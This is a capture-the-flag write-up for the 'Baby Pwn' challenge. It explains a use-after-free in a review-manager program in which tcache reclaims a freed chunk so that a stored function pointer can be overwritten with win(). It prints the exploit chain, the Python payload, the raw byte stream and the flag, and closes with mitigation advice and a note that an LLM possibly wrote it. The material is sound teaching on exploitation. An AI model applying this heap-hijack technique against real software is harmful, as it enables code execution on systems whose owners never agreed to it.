IntroFortID 2026
Baby Pwn
A favourite-review pointer stays alive after its chunk is freed, and a same-size draft allocation reclaims it, which lets a raw 40-byte write hijack a stored function pointer into win().
What this one teaches
- A use-after-free (UAF, using memory after it has been freed) on a heap object that ends in a function pointer turns a stale alias into a control-flow hijack.
- glibc's tcache hands back a freed chunk to the very next request of the same size, so an attacker can fill that chunk's bytes before the old pointer is used again.
- A non-PIE (position independent executable) binary keeps every function at a fixed address, so a hijacked call can target a chosen function directly, no leak required.
Task description
Everyone’s opinion matters to us. Submit a review, save your thoughts for later, and make sure your favourite feedback is never forgotten. Can you leave one last review?
The review manager
The handout is an x86-64 binary, chall, with its source, chall.c. The program is a menu loop over three global pointers: review, favourite, and draft. Each review is a fixed 40-byte struct, 32 bytes of text followed by a function pointer, and the draft type is defined to be exactly the same size:
#define REVIEW_TEXT_SIZE 32
struct review {
char text[REVIEW_TEXT_SIZE]; // offset 0
void (*display)(review_t *); // offset 32
};
typedef struct { char contents[sizeof(review_t)]; } draft_t; // also 40 bytes
static review_t *review;
static review_t *favourite;
static draft_t *draft;
The menu options map onto those pointers directly:
| # | Function | Behaviour |
|---|---|---|
| 1 | submit_review |
review = malloc(40), reads up to 32 bytes of text, sets review->display = show_review |
| 2 | mark_favourite |
favourite = review (a plain pointer copy) |
| 3 | delete_review |
free(review); review = NULL; |
| 4 | write_draft |
draft = malloc(40), then reads exactly N raw bytes (1 to 40) straight from stdin |
| 5 | preview_favourite |
calls favourite->display(favourite), an indirect call through the stored pointer |
win() is compiled in and reads flag.txt, but nothing on a normal path ever calls it; reaching it is the goal.
Confirming the layout and addresses from the ELF
With no debugger available, I parsed the ELF directly in Python to pin down two things the exploit depends on: whether the binary is position-independent, and where win() actually sits. Reading the ELF header and symbol table:
class: ELF64 endian: LE
e_type: 2 ET_EXEC e_entry: 0x401250
=> PIE? NO (fixed load address)
show_review = 0x401336
win = 0x40135f
main = 0x401847
e_type is ET_EXEC, not ET_DYN, so the binary is not PIE (position independent executable, meaning the loader does not randomise its base). Every function sits at a fixed address, and win() is a constant I can bake into the payload with no information leak. show_review at 0x401336 is the legitimate value submit_review writes into display; win at 0x40135f is the value I want there instead.
The dangling pointer
mark_favourite only copies the pointer, it takes no other kind of reference:
favourite = review;
delete_review frees the chunk review points at and clears review itself, but favourite still holds that same address:
free(review);
review = NULL;
The object is gone, yet preview_favourite will happily run favourite->display(favourite), a use-after-free read of a function pointer out of freed memory.
Reclaiming the chunk
review and draft are both 40-byte allocations, so both are served from the same tcache bin. Once review is freed, the very next 40-byte malloc, which is draft, gets that exact chunk back.
write_draft then fills it with read_exact, a raw fread loop with no null-termination and no newline handling:
static void read_exact(void *destination, size_t size) {
size_t offset = 0;
while (offset < size) {
size_t received = fread((char *)destination + offset, 1, size - offset, stdin);
if (received == 0) exit(0);
offset += received;
}
}
With a length of 40, the full struct is attacker-controlled, including the display pointer at offset 32. The length check in write_draft is 1 <= length <= sizeof(draft->contents), and sizeof(draft->contents) is 40, so 40 is both the maximum the check allows and exactly enough to reach and overwrite all eight pointer bytes. No off-by-one juggling is needed.
What the tcache free-list does, for a non-pwn reader
glibc’s heap allocator keeps recently freed chunks on per-size free-lists so it can answer the next allocation of that size without asking the kernel for memory. The “tcache” (thread-local cache) is the fastest of these: one singly-linked list per small size class, served last-in-first-out.
When delete_review frees the 40-byte review chunk, the allocator does not wipe it; it writes a next-pointer into the chunk’s first bytes and pushes it onto the tcache list for that size. The chunk’s old contents, including the display field, are still sitting in that memory.
The next malloc(40) pops that same chunk straight back off the list and hands it over. That is why draft = malloc(40) returns the exact address favourite is still pointing at. Because the allocator reuses the chunk verbatim, whatever write_draft writes into the draft is written into the object favourite aliases, and there is no grooming or timing to arrange: the reclaim is deterministic.
The exploit chain
1 submit review review = chunk C, C->display = show_review (0x401336)
2 mark favourite favourite = C
3 delete review free(C) -> tcache[0x30]; favourite still = C
4 write draft, length 40 draft = malloc(40) = C (reclaimed)
bytes[0:32] = padding
bytes[32:40] = p64(0x40135f) // overwrite display -> win
5 preview favourite favourite->display(favourite) // == C->display == win()
-> win() opens and prints flag.txt
The final payload
The draft write needs 32 bytes of filler to reach offset 32, then win()’s address little-endian:
WIN = 0x40135F
PAYLOAD = b"A" * 32 + struct.pack("<Q", WIN) # 40 bytes
# PAYLOAD == b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_\x13@\x00\x00\x00\x00\x00'
# last 8 bytes (display pointer): 5f 13 40 00 00 00 00 00
The complete byte stream sent to the program, menu choices and payload together, is 62 bytes:
SCRIPT = (
b"1\n" # submit a review
b"review\n" # review text
b"2\n" # mark it favourite
b"3\n" # delete it: free -> tcache 0x30 bin, favourite now dangles
b"4\n" # write a draft
b"40\n" # draft length 40, reclaims the freed chunk
+ PAYLOAD + # 40 raw bytes: 32 pad + win() pointer
b"5\n" # preview favourite: favourite->display(favourite) -> win()
b"6\n" # leave, only reached if the call did not fire
)
# b'1\nreview\n2\n3\n4\n40\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_\x13@\x00\x00\x00\x00\x005\n6\n'
The 40 draft bytes carry no trailing newline, since read_exact consumes them directly through fread; the 5\n right after them is what triggers the hijacked call. Sent to the live instance, the chain lands in win() and returns the flag below. (The live endpoint’s instancer routes by TLS SNI, so the client has to send a server hostname or the shared frontend rejects the connection before the exploit runs at all.)
What makes this exploitable
The bug only exists because favourite keeps pointing at memory that delete_review frees through a different name. Freeing should invalidate every alias, or ownership should be structured so aliasing cannot happen.
A function pointer stored right after an attacker-controlled buffer is risky on its own: once there is any write primitive into that struct, the pointer sitting next to the data becomes a control-flow hijack. Keeping code pointers out of band, say as an index into a fixed table rather than a raw pointer inside the object, closes that off. PIE would also have forced an information leak before win() was usable, and not shipping a win() gadget at all would leave nothing convenient to jump to.
The flagReveal
FortID{W0ah_My_F4v0r173_r3viw_C0n7a1n5_4_Fl4G_70b1ba0998}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.